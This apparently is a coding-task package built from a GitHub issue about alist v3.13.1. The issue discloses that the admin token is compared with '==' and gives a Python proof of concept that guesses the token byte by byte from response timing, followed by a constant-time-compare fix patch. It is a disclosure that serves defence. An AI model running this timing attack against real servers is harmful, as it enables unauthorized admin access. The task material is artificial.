Repository: AlistGo/alist (language: go)

Issue:
Timing attack vulnerability on token authorization
### Please make sure of the following things

- [X] I have read the [documentation](https://alist.nn.ci).
- [X] I'm sure there are no duplicate issues or discussions.
- [X] I'm sure it's due to `alist` and not something else(such as `Dependencies` or `Operational`).
- [X] I'm sure I'm using the latest version

### Alist Version / Alist 版本

v3.13.1

### Driver used / 使用的存储驱动

local storage

### Describe the bug / 问题描述

As the implementation of [`Auth` middleware](https://github.com/alist-org/alist/blob/v3.13.1/server/middlewares/auth.go#L17), it's possible to login as admin by passing the correct token which is set in conf. But the token is simply checked by `==` operator, which leads a timing attack by impacting the execution time to discover hints about the token.

![image.png](https://s2.loli.net/2023/03/06/oDsW8MizAFkBYRv.png)

As the img shown above, hackers could guess the token byte-by-byte by comparing the response time for each request.

Here's a quick poc:

![image.png](https://s2.loli.net/2023/03/06/IiM8Utun53REJTG.png)

### Reproduction / 复现链接

```python
import time, requests

endpoint = 'http://192.168.88.128:5244'
N = 100
#                                                 ↓
token1 = 'alist-b27b7e46-1050-402b-b4ef-1ca787ecf1e_________________________________________________________________'
#                                                                                        ↓
token2 = 'alist-b27b7e46-1050-402b-b4ef-1ca787ecf1f2MDEMKH3H1r0SnozU1YaA4plttOgOGdrXbARnh4__________________________'
#                                                                                         ↓
token3 = 'alist-b27b7e46-1050-402b-b4ef-1ca787ecf1f2MDEMKH3H1r0SnozU1YaA4plttOgOGdrXbARnh3f_________________________'
token  = 'alist-b27b7e46-1050-402b-b4ef-1ca787ecf1f2MDEMKH3H1r0SnozU1YaA4plttOgOGdrXbARnh3eXxrOrW182vLITQ4Gl6YpRqyU9' # real token

start = time.time()
for i in range(N):
    requests.get(f'{endpoint}/api/admin/user/list', headers={'Authorization': token1})
    time.sleep(0.1) # avoid server overload
print(time.time() - start)

start = time.time()
for i in range(N):
    requests.get(f'{endpoint}/api/admin/user/list', headers={'Authorization': token2})
    time.sleep(0.1) # avoid server overload
print(time.time() - start)

start = time.time()
for i in range(N):
    requests.get(f'{endpoint}/api/admin/user/list', headers={'Authorization': token3})
    time.sleep(0.1) # avoid server overload
print(time.time() - start)

start = time.time()
for i in range(N):
    requests.get(f'{endpoint}/api/admin/user/list', headers={'Authorization': token})
    time.sleep(0.1) # avoid server overload
print(time.time() - start)
```

### Logs / 日志

_No response_


Discussion / hints:
Thanks for opening your first issue here! Be sure to follow the issue template!

I will fix this @Xhofe 

Fix patch:
diff --git a/server/middlewares/auth.go b/server/middlewares/auth.go
index 53834874304..7107737878b 100644
--- a/server/middlewares/auth.go
+++ b/server/middlewares/auth.go
@@ -1,6 +1,8 @@
 package middlewares
 
 import (
+	"crypto/subtle"
+
 	"github.com/alist-org/alist/v3/internal/conf"
 	"github.com/alist-org/alist/v3/internal/model"
 	"github.com/alist-org/alist/v3/internal/op"
@@ -14,7 +16,7 @@ import (
 // if token is empty, set user to guest
 func Auth(c *gin.Context) {
 	token := c.GetHeader("Authorization")
-	if token == setting.GetStr(conf.Token) {
+	if subtle.ConstantTimeCompare([]byte(token), []byte(setting.GetStr(conf.Token))) == 1 {
 		admin, err := op.GetAdmin()
 		if err != nil {
 			common.ErrorResp(c, err, 500)


Test patch: